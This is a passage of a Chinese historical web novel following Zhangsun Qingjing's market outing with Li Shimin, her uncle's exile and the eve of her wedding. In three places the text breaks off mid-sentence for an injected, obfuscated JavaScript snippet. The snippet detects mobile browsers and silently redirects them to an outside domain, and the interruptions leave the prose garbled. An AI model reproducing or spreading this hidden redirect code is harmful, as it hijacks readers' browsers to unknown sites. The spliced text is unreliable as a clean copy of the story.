长孙青璟突然“噗嗤”一声笑了出来:“我是女鬼吗?——你的脸吓得这么白!像你这样冒失的郎君我每次出门能遇到五六个,我是那种坐骑一受惊就摔下来等人搀扶的差劲御手吗?” “当然不是。”长孙敏行眼神闪躲,“你没事就好。” 长孙青璟觉得这位族兄今日神情恍惚,不像往日那样总要逗她几句,便问道:“你那么急匆匆的,是有什么要紧事要办吗?” “也不算太要紧,是陆夫子差遣我……” “陆夫子身体还好吧?” “也不算太坏,老样子。毕竟,他们父子的经历我们旁人无法感同身受。” “你见到陆夫子,记得替我谢谢他呀。舅父和无忌说他拖着病躯为我们打听新房子……旁人躲着我们一家都来不及呢。” “哪里话,见外了。我一定转达。陆夫子前几日还问我观音婢现在写永明诗还出律吗?”长孙敏行将所有药材重新放回大纸袋中,学着药材铺子伙计的样子束成一条鱼的形状。 长孙青璟撅了撅嘴,自嘲一笑,示意长孙敏行近前说话。 “兄长,你听说了吗?”她扭捏地暗示道。虽说女儿家自己说自己订婚了这种事有些厚颜无耻,但眼前人是如手足般一起长大的,长孙青璟也没了顾忌。 长孙敏行疑惑了片刻,马上会意:“当然听说了。我忘记恭喜你了。本来高先生被牵连,大家最担心的就是你,现在你要出嫁了,未婚夫还是大家的老熟人,可不是好事一桩吗?” 长孙青璟又扫视了一眼长孙敏行手中的鱼形药包:“兄长,你不会也有事情瞒着我吧?” “哪里。”长孙敏行警觉地抱紧了药袋子,害怕这个眼明手快的少女会突然劈手夺去,他尴尬地笑道,“我不过是照顾陆夫子,有些劳累,你一定是看我脸色不好才乱想的。我这张憔悴的脸歇几天就红润了。” “这倒也是。”长孙青璟也不再怀疑,只是又羞涩又欣喜地问道,“我出嫁那日,兄长可过来替我‘下婿’?” 说完这话,她自己也羞惭地捂住了脸,只敢从手指缝隙中偷看长孙敏行的反应。 长孙敏行打趣地看着那两颗转动的青黑眼珠,露出一丝意味深长的诡笑:“小娘子心思还挺多的。你是怕无忌不舍得下狠手打李世民吧?” “嗯。”长孙青璟收回手掌,露出一个调皮的笑容。 长孙敏行忍俊不禁:“为什么不叫李大志李大慧替你揍李世民?他们兄弟绝对乐意。” 长孙青璟撇嘴道:“他们是我外甥,我哪里拉得下这个脸。而且这两人下手没轻没重的……” “噢,你倒是很心疼未婚夫。那凭什么要我当恶人?” “不是让你当恶人啦,谁不知道你也是李世民的挚友。只是让无忌拿竹杖去打李世民,他岂止不舍得下手,恐怕连装装样子也装不下去。那我多没面子,所以我才求你呀!” “懂了——你要我虚张声势高高举杖,谨小慎微轻轻落杖,既保全你的颜面,又不伤李世民皮肉筋骨……” “不愧是我们中间学识最广博的,一点就通。”长孙青璟举起拇指赞道。 “想得美。加钱!”长孙敏行将药包重新栓紧于鞯袋一侧,“我还有事要忙,你不要太贪玩……” 长孙青璟一脸谄媚地跟着他,替他将刚收束的结又收紧了一些:“行啊,加钱就加钱。你想看什么书?我去利人市替你找。今日舅父差遣我去利人市买时历书,外祖母、母亲和舅母嘱咐我买佛经,我自己想看王通的新书,顺便替你找书也不费事……我少不得多游逛些时间。” “那你多逛逛,替我看看有没有李登的《声类》,吕静的《韵集》。当心穆伯脩拿伪作诓骗你,他可是造假的行家里手……今天实在是陆夫子有所差遣,我身为弟子不能不奉命,便不护送你了……你……”长孙敏行突然犹豫了片刻,才勉为其难地憋出几个字来,“你玩得开心些,暮鼓前记得回家……” 长孙敏行的每个字都带着不可言说的犹豫,弄得长孙青璟也跟着心事重重:“兄长,你没事吧?我怎么感觉你要出远门了?” “乱讲。我要是走了,谁替你改那些出律的歪诗。” 兄妹二人相视一笑,便由此暂别。 长孙敏行马鞍后的鱼形药袋就这样固执地跌宕翻腾,尤为刺眼,长久地踊跃在长孙青璟的眼前,就好似今日两人相遇时长孙敏行那副见了鬼的表情…… 李世民被母亲撵到了大兴城的街头,他本想多陪伴窦氏,但是窦氏莫名地嫌他吵闹。 利人市的入口喧嚣熙攘,而他的内心有抹不开的寂寥。正在思索自己去向时,李世民却捕捉到一个熟悉的迷惘的身影。长孙青璟头戴幞头,身着墨绿缺骻襕衫,足蹬六合靴,坐在高头大马之上,带着一脸惺忪之态被行人裹挟着前进。顾盼之际,她露出了惊喜的浅笑,向身边的侍女耳语了几句。 阿彩绕过了胡商长长的驼队,来到李世民马下:“李公子,我家小郎君问公子安好。” “你家娘——小郎君安好!”李世民俯身问道,“我今日无事,方便与你家小郎君同行吗?” 驼队发出号角一样的嚎叫,惹得周围行人捂着耳朵叫骂。 阿彩大声说:“郎君今日拜会旧友,就让小郎君来利人市采购新的时历和佛经。公子能与我们同行自然再好不过!”聪慧的小婢女就这样擅自决定了小情侣共同的去向。 李世民心中很是奇怪:高士廉为人一向谨慎,最近总是躲着亲朋好友,恨不得挖洞藏身,唯恐牵连,怎么会主动拜会别人?又怎么会放任长孙青璟只带一个家生一个婢女同行? 左思右想后,他又觉得自己是小人之心:坦荡君子自有坦荡之友,临行不去拜访,岂不是轻慢于人;高氏历此一劫,家道中落,童仆遣散大半,长孙青璟出行尚有健仆婢女相伴,可见高士廉竭力庇护甥女,不容她有半点闪失。 这世上也不唯独李家重情重义,也并非任何一家娘子出游都被童仆婢女环绕。这么一想,重重疑窦倒也自洽,李世民就不再胡乱揣测。 商队为首的骆驼因环境的刺激突然停住脚步,其余骆驼也如法炮制。利人市突然多了一堵墙截断人流。阿彩兴奋地绕过驼队给长孙青璟报信。 隔着高高矮矮的驼峰,李世民依稀看到阿彩手舞足蹈地向长孙青璟转述刚才的谈话。青璟迟疑了片刻,便向李世民招招手,又指指身下有些鸡肋的马匹,两人便心有灵犀地跃马而下,走向对方,把马匹交给仆人看管。 “我被母亲赶出家门。反正无事,干脆陪你逛利人市。”一条细长的骆驼尾巴在两人中间左右摇摆,甚是恼人。 扬尘呛得青璟一阵剧烈的咳嗽,好久才缓和过来。她痴痴地望着擦身而过的回纥女子,赞美道:“浓纤合度,明艳照人,她真好看!” 李世民和阿彩一时也弄不清她是指人漂亮还是衣裳好看,只是大家一致觉得回纥娘子身边的汉子看向青璟的眼神充满了敌意。 “娘子,你穿着男装呐!别惹事!”阿彩牵了牵长孙青璟的衣袖。 李世民拨开摇动的骆驼尾巴,差点被喷了一身唾沫,拉着两个女孩远离是非之地。 三人便在市肆中游逛。 “无忌呢,他为何不陪着你?” “他陪着舅父一同访友,我奉命去穆氏书林找些有趣的新书。” “你看合生吗?都会市里胡人们唱唱跳跳讲王妃公主和王公名贤的故事。你想看我陪你去看。”李世民想起母亲的话,鬼使神差地问道。其实他本心也不爱看合生,不过身边坐着母亲或是未婚妻时应该不至于中途退场。 “我不是很爱看。舅父和无忌是完全不想看。”长孙青璟笑着说,“但是陪着外祖母、母亲和舅母看演戏的时候,我会耐心看完,她们若有看不明白的地方,我就顺便跟她们讲讲那些孤女如何变为王妃,公主如何嫁了公侯,王妃和藩王如何反目,公主和驸马如何离散又重聚的故事。我有满腹合生戏,都能自己照着《左传》里头的故事胡编一个骗过外婆她们。” 她且行且说,路过首饰香粉铺,下意识地拿起一盒螺子黛,又突然发觉极不妥当,便又顺势放下。 “——所以,你不用特意陪我看合生。” 李世民哈哈大笑起来:“原来如此。我以为娘子们都喜欢看合生,看来误会大了。你和我一样,也是陪着长辈们消磨时间才耐着性子看一会儿。” “嗯!”青璟像找到知音般点头。“你的好友——那个口无遮拦的王无锝在哪里?” “利人市的最西处。你要去看鹦鹉吗?” “今日不去。”青璟摇头,却向阿彩使了一个眼色,阿彩会意,自行去寻找王无锝。 “那么谈容娘呢?”李世民追问。 “更不喜欢。”长孙青璟思索了一下回答道,“谈容娘的曲调大概是我喜爱的,我时常想着给这个曲子换个故事和歌词。每次众人齐唱‘踏摇和来,踏摇娘苦和来’这一句时,周围观者哭成泪人,独我不哭,免不得被人诘责铁石心肠,真是听也不是,走也不是。” 李世民简直怀疑去年中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041801|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋陪着母亲与诸姊妹看这场肝肠寸断的歌舞戏时,自己与眼前的未婚妻交换了魂魄,不然为何她口中所说的句句是他自己的切身感受。 “我不喜欢谈容娘,遇到苏郎中这种暴戾恣睢的丈夫,义绝就是了,何苦向邻家哭诉。”少女打开了话匣。 “说得正是,我有一次也跟四姊说,这些歌舞戏都狗屁不通。苏郎中运气好,遇到软弱可欺的妻子,才如此气焰嚣张。如果遇到我三姊,准保等不到和离,就被捅成筛子。阿耶说得果然不错——陪女眷们看戏须得找借口逃走,如果逃不走,也千万不要傻乎乎地跟一群看戏的女眷讲这戏的漏洞,说不到一处还会被三姑六婆指责扫兴。大姊、二姊和四姊嫌我话多,妨碍她们看戏,气得赶我走;只有我三姊也嫌恶这戏,听了我的话得意大笑,当着姊夫的面说自己真的很想给苏郎中来上一刀。” 青璟“噗嗤”笑了出声:“我挺喜欢你三姊的,直来直去,甚是可爱。那你平时看些什么戏?” “《代面》《拨头》,还有参军戏。《代面》威风,《拨头》孔武,参军戏滑稽。” “啊,我也可以陪你看这些歌舞戏。”她含蓄蕴藉地抿嘴浅笑。 有时候,她需要一些血腥的、野蛮的、低俗的东西来排遣心中小小的恶念。舅父说过,这不是什么大罪过,适可而止就无妨。 “你敢看赛祆幻术吗?刺腹截肢又安然无恙那种。”李世民想起在洛阳紫薇城那个荒诞的夜,赛祆论理是精彩纷呈的,只可惜那夜观赛祆的只是一群长者鸡鸭翅膀的猪狗,他实在忍不住与他们割席而坐。 “敢看啊,胡人装神弄鬼的把戏而已,又不是真把人抽肠绞转。惊险又有趣。为什么不看?” “你真是一颗藏得又深又有趣的灵蛇之珠。” 青璟的脸微微一烫,就坦然接受了这个赞美。 “那说好了,正月里我们先去看兰陵王入阵,指挥击刺;再看波斯人赛祆,抽筋剜骨!”她无意中将婚后一两月的娱乐生活安排妥帖,让人弄不清到底是温柔可人刻意逢迎,还是本性洒脱动止无牵。 只是“抽筋剜骨”一句声音太过兴奋嘹亮,引得周围人侧目而视。“这位小郎君,你说话可稍微和善一些,大庭广众之下口吐暴戾乖张之词,抽筋剥皮,喊打喊杀的,莫不是想把街使们引来问话。” 青璟捂了捂嘴,说了声“得罪”。两人转身闪进一家书肆。 “高公子好在!” “穆先生无恙!” 长孙青璟与穆氏书林的铺主熟稔地相互问候。李世民猜想高士廉之前常带着青璟来利人市游玩,几乎把她当成儿子来抚养。加上她十二三岁的年纪,穿上男装实在是雌雄莫辩。被人喊作“公子”也是情理之中的事了。 穆伯脩很是殷勤地问道:“令尊大人今日为何没有一同前来?” “家父带着兄长去拜会朋友了。”青璟环顾四周,“穆先生,我父亲听说你去了一趟江陵,可从萧绎的焚书坑里抢到些失传的典籍?” 穆伯脩突然生出一种被人关心生死的感动,恨不得抱住眼前的少年郎君,引为知己,抱头痛哭。 “公子,此行我一言难尽。一路的民变、抢盗、欺诈,还在汉水里翻了一次船,差点丧命于异乡。总算你父子还惦记着我,改日我作东,延请你父亲来一辨我用命换来的典籍的真伪。” 长孙青璟望着这个总喜欢去齐梁故地收购图籍的代北人,有一种恍若隔世的感觉。 她有些不忍心告诉穆伯脩高士廉即将启程去交趾的噩耗,只是幻想着两位知己还能再聚一次。 “看我,失态了。”穆伯脩擦了擦眼睛,寒暄道,“高公子最近在学些什么书?” “我囫囵吞枣地学完了《左传》,最近在看《公羊传》。父亲许久不查问我课业,我也就随便翻看何休的《解诂》,仍是一知半解。”青璟也不故作高深,只是实话实说。“先生这里可有王孔子的新书?” 穆伯脩道:“龙门现在不太平,也不知王家的学堂是否还在授课。就算有抄本流出,一时也到不了大兴。何况他那些弟子一个个精明得很,不是很愿意把夫子的学说轻易示人。我本来想亲自跑一趟龙门,可妻儿吓得哭泣无节,拜会王通的计划也就作罢了。不过我这里有他弟弟的诗集,有些陶潜和大小谢的味道,我觉得适合调剂心情。你要不要赏鉴?那位公子是——”穆伯脩指着俯身查看一叠“墨程”标签的陌生面孔。 “我的一个亲戚,姓李,第一次过来。”长孙青璟对上李世民戏谑的目光,眨了眨眼睛。 “看着不太像血亲。”穆伯脩笑了起来,“说句不知是得罪还是恭维的话,你们高氏一贯是肤白面柔的长相。年轻的像美貌妇人,年长的像粘了髭须的美貌妇人——这位公子明显不是这一类的。” “不是血亲,只是姻亲。”李世民确认道。 三人都开怀大笑。 23. 枯柳 穆伯脩本来准备搜索枯肠,赞美一下眼前少年与高家公子风格迥异的瑰伟姿貌,却不自觉地被一道愉悦的阳光攫住,一时词穷。 “这就是‘墨程’,科举的考题?”李世民好奇地问道,眼神里尽是清朗与愉悦。 穆伯脩觉得那人便是阳光的来处了,他也被感染得有些健谈:“有些是老秀才、老明经,老进士们还记得的考题,有些是儒生们按科举章法自拟的题。不过近来打听的人渐渐少了。公子的父亲可有熟识的五品官?” “我读书不多,家父认识多少五品官也不管用。穆先生说笑了。”李世民自嘲道,“这上面的考题于我就像天书一般。” “穆先生不要听李公子开玩笑。他的授业恩师便是国子监博士!他父亲又何止认识五品官!”长孙青璟接过卷轴收好,“穆先生不用担心他找不到举荐人。” “那就好,不妨碍这位公子去洛阳碰碰运气。我还是觉得昙花一现的投牒自进于国于民都更好些!算了,我等草民,不妄议朝政。” 正在感慨时,他突然发现几十册御夫术被招摇地呈放在墨程边上,糟糕的是,这些粗鄙的上不得台面的东西已经落入两位风雅公子眼中。穆伯脩便急匆匆将这十几册“御夫秘笈”席卷而走。 “我娘子与佣书伙计糊涂了。真是有辱斯文,不该让二位看到这些的。”他自嘲着解释,眼神闪烁不定,“但是有些生意我若是不做,定会被别人抢了去……” 长孙青璟和李世民都在一旁窃笑。 “先生不必这样拘谨。”长孙青璟替穆伯脩捡起匆忙掩饰时掉落的书册,经折已经被拉扯出数尺长,她弯腰将这一册书重新折好放回穆伯脩手上,“我们怎么会笑话先生的两难之处……” “当真有人买御夫术?新妇看了这些书就能把丈夫收拾得服服帖帖?”李世民好奇地问长孙青璟,压低了声音,“你看过没有?你母亲也给你买了吗?” 长孙青璟瞪了李世民一眼,半开玩笑地对穆伯脩说:“穆先生,你这御夫术可像墨程分成明经、秀才、进士、明算一般给郎君们的秉性分门别类,什么慨暴科,懦弱科,自矜科?我有个族姊妹出嫁在即,我与她情同手足,不想她婚后被欺侮,干脆送一本给她。” “那未婚夫是什么个性呢?”穆伯脩一听有生意上门,立刻从拘谨回到圆滑状态,满面堆笑询问道。 “虽说有些暴躁自负,但不失为顾行忘利,守节仗义的君子。”长孙青璟上下打量李世民,侃侃而谈。 “高公子说笑,是在炫耀族妹觅得一位绝佳的夫婿吗?某可不敢做你这笔生意。”穆伯脩赔笑道。 “我哪里暴躁自负了?”李世民轻声问道。 “谁说是你了,不要自以为是。”长孙青璟嗔道。 “两位郎君不用与我说笑,且看看有什么需要的。我这里有从江陵新收来的《妍神记》抄本,比你之前买的又多了几章,若是别人来问,我必然吹嘘这是真全本。在高公子面前,我只能说我也不确定是否伪托之作……我去催佣书人过来侍候二位。”穆伯脩说罢便开始检视新运来的图籍。 长孙青璟选了两本明年的时历书,几册诗文集,两卷缪播的《论语旨序》,十几卷佛经,一卷萧绎的《妍神记》和一些不署名的传奇。花掉了两千文钱。似乎把一家人需要的书册都采集完毕。钱货两讫时,阿彩正回到长孙青璟身边,附耳说了一句“都办妥了”。 李世民也无意深究阿彩与王无锝有何约定,只是越过阿彩,为长孙青璟捧起卷册。一行人便与穆伯脩道别。 大食商人的古董铺就在附近,长孙青璟和突厥佣工尝试着用几种语言比划了许久,机灵的突厥人恍然大悟般先后展示了一堆铸有外国诸王头像的钱币,几个错彩镂金的水壶,一沓装饰有精妙浮雕的鎏金盘子。 长孙青璟拿起其中一个周边饰有葡萄藤银盘子,盘中间镌着髡发带冠、身着长袍,手执酒杯美少年。她问了下价钱,不禁咋舌。 “主人吩咐过,这是大秦国的古物,不讲价。”突厥佣工有些为难地说道。 长孙青璟笑笑道:“好。我下次再来。” 李世民抑制住呼喝着将整个古董铺打包送给长孙青璟的冲动,只是半开玩笑地问她:“这就是能把人砸晕的那种古董盘子?” 长孙青璟倒也不羞不恼:“那日出逃时我下手确实狠毒了些。我本应向叔父问询小花匠身体情状,但是诸位长辈在场,我总也找不到私下问他的机会;我又想偿还弄坏的古物,既囊中羞涩又不辨真假。舅父也责怪了我几句,说叔父原是家中幼子,与我异母兄长年龄相仿,无心机无绸缪,又不方便插手兄长家事,致使家变之时毫无知觉。但我母子三人遭斥还舅家时,他尚能礼待高氏一族。想来也并非安业那种寡廉鲜耻之徒。贬官令下达后,叔父又即刻将我接走,护我周全。修婚书时,虽说他是我同宗最亲近的长辈,却连称愧对我父亲而把修答婚书的权利让给舅父。他也不失为守义君子。我思来想去,平生无所亏欠。只因出逃,叔父无故担忧,家生无故受累,近来我最对不住的就是他二人。” 李世民也终究只是点头附和,并不敢擅自买下任何古董讨好眼前佳人。他十拿九稳地想道:“这份人情,以后我慢慢替你一起还就是,你不必忧心忡忡。” 寒风袭人,利人市两侧的枯柳微颤着、撕扯着、扭结着,证明自己的生机。白日寡淡,毫无暖意,只是狂风的帮凶,黄沙的同谋,把行人身上唯一一丝热气一点点抽走。不知何时,长孙青璟的头上添上了一顶新买的浑脱帽。 “我想回去了,我要多陪陪舅父。”长孙青璟裹紧了襕袍,拉下翻卷的帽檐,喃喃自语。 方才挡路的驼队正在缓缓行进,回纥娘子明丽的笑容依旧引人驻足,胡饼的芝麻香飘过了整条街,买到了假古董的客人正与穆伯脩大声争执,刚从百戏台附近走来的人不自觉地哼唱着踏摇娘的乐曲…… 她听到风里有人在呼唤她的名字,四下张望,却只看到李世民怪异的神情。 她今早在在高士廉书房的熏球里放了些许四合香,觉得不够用想要再添时,高士廉却说够用了。 不行,她要去添一截檀香。不然,午后婢女们一开门窗一透气,香气散尽,晚上读书也无味。 她突然间对利人市的一切都失去了兴致。 李世民送长孙青璟回到崇德里高宅时已近黄昏,简陋破旧的小宅子只从门口观察便令人觉察到已被精心修饰过,似乎为婚礼做好万全准备。 两人下马时,长孙青璟有些迟疑地望着未婚夫,欲言又止。李世民语出惊人:“你是不愿意被人身后闲言碎语,毁谤你与人私会,所以故作迟疑?那我还是不进去为好。” 长孙青璟点点头。她也正踌躇着怎么婉转地回绝李世民的拜访请求。 “我目送你和阿彩进去,今天不再叨扰了。” 这句话正中长孙青璟下怀。她的脸色愉悦而有生气:“谢谢你,陪我走了那么多路,说了那么多话。” 谨小慎微而又心甜意恰的情侣就这样结束了共处的时光。 长孙青璟一进门,一如孩童般无拘无束直奔舅父书斋。她想告诉高士廉,今日也不算白去利人市一趟。她决意再深究《论语》,不管自己看书多么囫囵吞枣,看看百家笺注总有收获。 她还找到了烧书的疯子皇帝萧绎写的志怪,这次淘到的比往常多几章,谁让无忌把原先那本送人了呢。 她看上了买不起的外国古董,很漂亮。不过没关系,那鎏金盘早晚归她所有。 等她把这些杂七杂八的志怪传奇看完,她也试着写一个卖给穆伯脩。 如果那些演合生的胡人出价够高,为他们写唱词也未尝不可。 她当然不会真署名,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“无忌送你舅父到蓝田关之后就回来。你舅父不允许任何家人陪他前往朱鸢。”高氏捡起长孙青璟手中滑落地时历书和佛经,拍拍女儿的肩膀,“这本来就是无可回避的事情,我们一起挺过去。观音婢,你想哭就哭吧,没有人会责怪你。” 两位长辈轻声议论着迎亲那日钗钿礼服的细节,缓缓走出书斋,虚掩着门。 阿彩放下帘帷,继续往火盆里添木炭。 长孙青璟心中懊恼不已:她本该在遇到长孙敏行时就察觉出一家人在合伙骗他! 青蒿、常山、知母、鳖甲、甘草,那么明显的疗治疟疾的药物,就是陆法言和长孙敏行担心高士廉撑不过岭南的瘴气而特意提前准备的。 还有李世民。她在大兴骑过那多次马也没偶遇过他一次,今日为何这么凑巧?说不定无忌与他一早串通好了。 算了,他不重要,还是她自己太蠢! 长孙青璟颓然坐在地板上。良久,她才挪动僵直的双腿,勉强将双膝置于茵褥之上。 青璟执起《论语旨序》看了几眼又随意丢弃在火盆旁,阿彩慌张地踩灭舔舐纸页的零星火苗。 “阿彩,我又被父亲抛弃了。虽然每次分离都并非他们本意。这样的人生真不堪!”她的嘴唇翕动着,灰黄的日光透过并不密实的帷幔,像钝刀般艰难地将她的脸分割得阴晴不定。 少女怀抱着无人知晓,无人理解,无人嘲弄的梦想,没有一丝矜持与迟疑地恸哭起来,眼泪像珍珠似的击打着这些誊抄着形形色色文字的纸张。哪怕初恋的欣悦也无法替代和消解永诀的煎熬。 窗棂外的柳枝比初来时更凋残,也不知是被疾风所折还是被人刻意截去一段。枯柳在越发黯淡的日光下拘谨瑟缩,抑或是蛰伏蓄力,抑或是永恒死亡。 24. 前夜 婚礼前夜,阿彩与乳母按照惯例前往唐国府布置毡帐。 母亲高氏、舅母鲜于氏、叔父长孙敞与兄长长孙无忌又反复确认宾客名单。 “这个王无锝是什么人?”长孙无忌有些疑惑地问长孙青璟。 “利人市的一个商人,大概与舅父相熟,你不记得了吗?”长孙青璟故作镇定地回答,“‘库直’被卖了,他答应替我找回来。” 兄妹二人对视片刻,当兄长的明显有一种被设计的不祥预感。 “你没有耍什么花招吧?”长孙无忌将信将疑地问道。 “我这几日一直被关在家中,能使什么花招?——你看这名单上的字,不是舅父临走之前写的吗?” “你们二人不要再多争论,不管来客是商人还是儒生,一切照着你们舅父安排的悉心接待。明日我把你们从叔父、几位阿姊还有无逸一起叫来。下婿却扇障车时我们长孙家高家一定要声势浩大,压过李家迎亲队伍。可好?”长孙敞笑道。 “那自然好了。”高氏与鲜于氏齐声道,“要是冷冷清清的,娘家这边多没面子。” 一家人商议已定,长孙敞告辞离去,高氏少不得亲自送别。 其余人又开始检查嫁妆有无遗漏。反倒是长孙无忌心不在焉、忧心忡忡,总是有意无意间向舅母追问“下婿”细节。 “有人欲盖弥彰哟。”长孙青璟一边摆弄着礼冠上的博鬓,一边嘲讽道,“要不明天竹杖给我,你来嫁!” “你……”长孙无忌欲言又止。 “你们两个不要胡闹。”鲜于氏笑道,“无忌再去把我写的婚礼流程看熟——你记得,每开一道门,就让新郎吟诗一首,不准递纸条!到了正堂,也不准让妹妹随随便便就被接走,逼着新郎继续吟诗、唱歌、舞蹈、弹琵琶、投壶、舞剑……无一不可,须得把长辈女眷们都哄开心了我们才放人。你可听明白了?” “不用这么为难人吧?” “臭小子,你是哪家人?”鲜于氏将他推出屋去,“妹妹要试婚服了,你先出去……” 长孙青璟在舅母催促下试穿吉服,选择发型和钗钿。一番周折之后,鲜于氏方才想起检视长孙青璟拜姑舅时呈上的鞋袜靴针脚是否细密牢固。 反复确认之后,鲜于氏才命人将这些礼物装函。 长孙青璟沐浴后被勒令好好休息。她却绾起浓密蓬松的长发,碎步跑到母亲住处,推开门扉。高氏正双手合十,跪在佛龛前祷告。 少女像一只悄无声息的狸猫般走到母亲身边。她并非虔诚的信徒,但是愿意陪伴那些深切爱着自己的亲人祷祝。难得的是,亲人们也深信青璟比自己更加笃信佛法。 “阿娘,我陪你。”青璟跪在母亲身侧,低头默念,“愿外祖母与郑氏舅母百岁无虞,愿母亲福寿安康,愿兄光耀门楣,愿舅父平安归乡也,愿舅母平安分娩,愿……”她几乎把每一个关注过自己的亲人都祝福一遍,却不太在意为自己许愿。 高夫人回过头:“我觉得心中钻进了一只无序的蜘蛛,忙忙碌碌,含辛茹苦,结着一张凌乱的网。”高夫人的祷告似乎已经结束,转而将不再细腻的双手拢上青璟红润的脸颊,母女双额相抵。 “阿娘也不清楚,这样匆忙的出嫁对于你是福是祸?你舅父与叔父都说这门婚事是不幸中的大幸,连无忌也总暗暗责备我杞人忧天。可是我只觉得你和我当年一般命苦——”一切并非出于理性的、情绪化的琐屑记忆涌上了这个中年妇人的心头。“我并不怨恨你外祖父,但是免不了想起他当年在吐谷浑打了败仗后,就听从幕僚、亲友劝说,匆匆安排我成为你父亲续弦的往事。今天看到你对着铜镜发呆,只觉得母女的命运轮回,心中实在痛楚。” “啊,这事我记得舅父说过,无忌也说过。”长孙青璟侃侃而谈,“外祖父并非无能之人,只是先皇刻意刁难齐国宗室,战败之责并不全在外祖父。但是为了自保不得不与皇帝重臣联姻。”女儿的清醒让高夫人更加窘迫与伤感。 “阿娘,这些往事你不必介怀。安业背地里说母亲趋炎附势,又污蔑母亲有癔症。我和无忌一向不屑。母亲于外祖父是仁孝之女,于父亲是持家贤妻,于我和无忌是舐犊情深的慈母。我又何必去在意那些闲言碎语!”少女坚定地抱住母亲,将头埋进高夫人怀里。“母亲无愧父命,为夫守节,恩养子女,对我来说就够了。” 长孙青璟从不妄自揣测外祖父高劢作为北齐宗室后裔生存的智慧,也不喜欢揣度父母之间的情爱究竟重几许。她只看到父亲礼重年轻自己二十多岁的母亲,舅父在外祖父过世多年后依旧愿意照拂落魄的妹妹,并对外甥甥女视若己出。 这些人视她如掌上珍宝,她自然发自内心奉上孺慕之情。 高氏轻轻拍打着长孙青璟的脊背,摩挲着少女蓬松的发丝。“我一直期待为你准备更隆重盛大的婚礼。可惜事不遂人意,你近来受了那么多无妄之灾,阿娘实在觉得对不住你。我一开始也恨过安业恬不知耻,后来恨你父亲临终安排失据,在舅父这里寓居时间长了才明白最该恨我自己无知无觉无能。你要怨恨,就怨恨阿娘吧。”高夫人长吁一口气,吐出心中郁积已久的块垒,倒也松爽来几分。 长孙青璟从来未料到温婉的母亲有如许多的自责,不禁贴近了高氏一些,为她拭去眼角的泪水:“阿娘,事情都过去了。我们三人,还有外祖母,舅母,一定要好好活着。不令亲者痛,仇者快!” “如今,有你们这样孝顺的儿女,我也不着相了。只叹无法和你父亲一起送你出嫁。”遗憾与忧悒交织的愁绪在她周身蔓延开。母亲用双臂紧紧锁住女儿,越箍越紧,就好像那是刚从她虚弱的躯体里分娩的娇嫩的、无助的婴儿。 少女蜷缩着,耳朵贴近母亲颤抖的胸口,感受坚实的、紧张的心跳。对于母亲来说,明天又有一场艰难的、令人期待的心灵的“分娩”,一个形似自己又不完全是自己的少女,将从高氏的臂膀中脱胎,也许重复高氏的命运,也许走一条迥异的道路。 母亲对于重复的那一部分感到痛苦、枯燥、忧心忡忡,对于未知的部分又是欣喜的、新奇的,憧憬无限的。她不知如何定义自己的焦躁与兴奋,骤冷与骤热的情绪。 “要是你父亲还在世就好了,一定会大笑我自怨自艾,然后一把把玩着弹珠和弓箭,一边开着不成体统的玩笑:‘女儿总不能不出嫁,女婿也是我看得上眼的。就这样吧,下婿时让子侄们拿竹杖结阵狠狠打他一顿。一解女儿无法承欢膝下之恨,二灭女婿高涨骄矜的气焰。夫人,你可舍得?’你父亲所到之处,总是语笑喧阗。”高氏一提到长孙晟,忧郁的面庞焕发出来奕奕的神采,紧锁着青璟的臂膀也松弛下来,仿佛那是自己余生最后的支撑。 看见母亲自开自解,长孙青璟倒也不再担心她在一连串打击之后郁郁寡欢,思虑成疾,言谈也轻松放肆起来,竟无意中泄露了心事:“父亲要是在世,才舍不得打他。他——他为人仗义,志存高远,我不准兄长为难他!” “哈!已经开始心疼未婚夫了吗?”高夫人满脸古怪与诧异。“我正想问你这件事呢!我也不记得你和李世民见过几面,他怎么就把年幼时你父亲与伯父的几句玩笑话当真了呢!虽说外祖母和郑老王妃都私底下夸你长得像个真正的高家娘子,虽说年轻郎君色令智昏也是常态,虽说他父母宠他爱他纵容他无法无天,虽说你舅父被贬官本也不应牵连你。但是诸多事情合起来一想就近乎荒唐!国公家的孩子,一定见过比你长得更美的女孩。他父母即便再宠爱他,也不会刻意选择一个瓜田李下的时机为他完婚!难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我女红做得可精细了,国公夫妇肯定喜爱我!又写得一手好字,可为长辈们誊抄佛经。又有满腹庙堂、市井与海外传奇,与女眷们闲谈也不困倦……”长孙青璟咧嘴从茵褥上坐起,膝行到母亲背后,勾着高氏的脖颈,笑嘻嘻地说道:“今晚我陪母亲,母亲需得给我讲变文和传奇。” “想得美!不讲!”高氏将青璟拽到铜镜前,拿起梳子敲打着女儿后背,“坐好了,头发都乱得打结了。我替你梳梳。” 青璟乖巧地跽坐于海兽葡萄镜前,尝试着为明天的婚礼准备一堆不同类型的微笑。她的唇边与眼角换了数十个不同的幅度,终于牵扯得疲劳不堪,放弃了研习。 她闭眼冥想,任箅梳轻柔地在头顶与发丝间游走。母亲的力道恰到好处,如和暖春风轻拂曼妙柳枝,如澄澈潭水萦绕款摆藻荇。 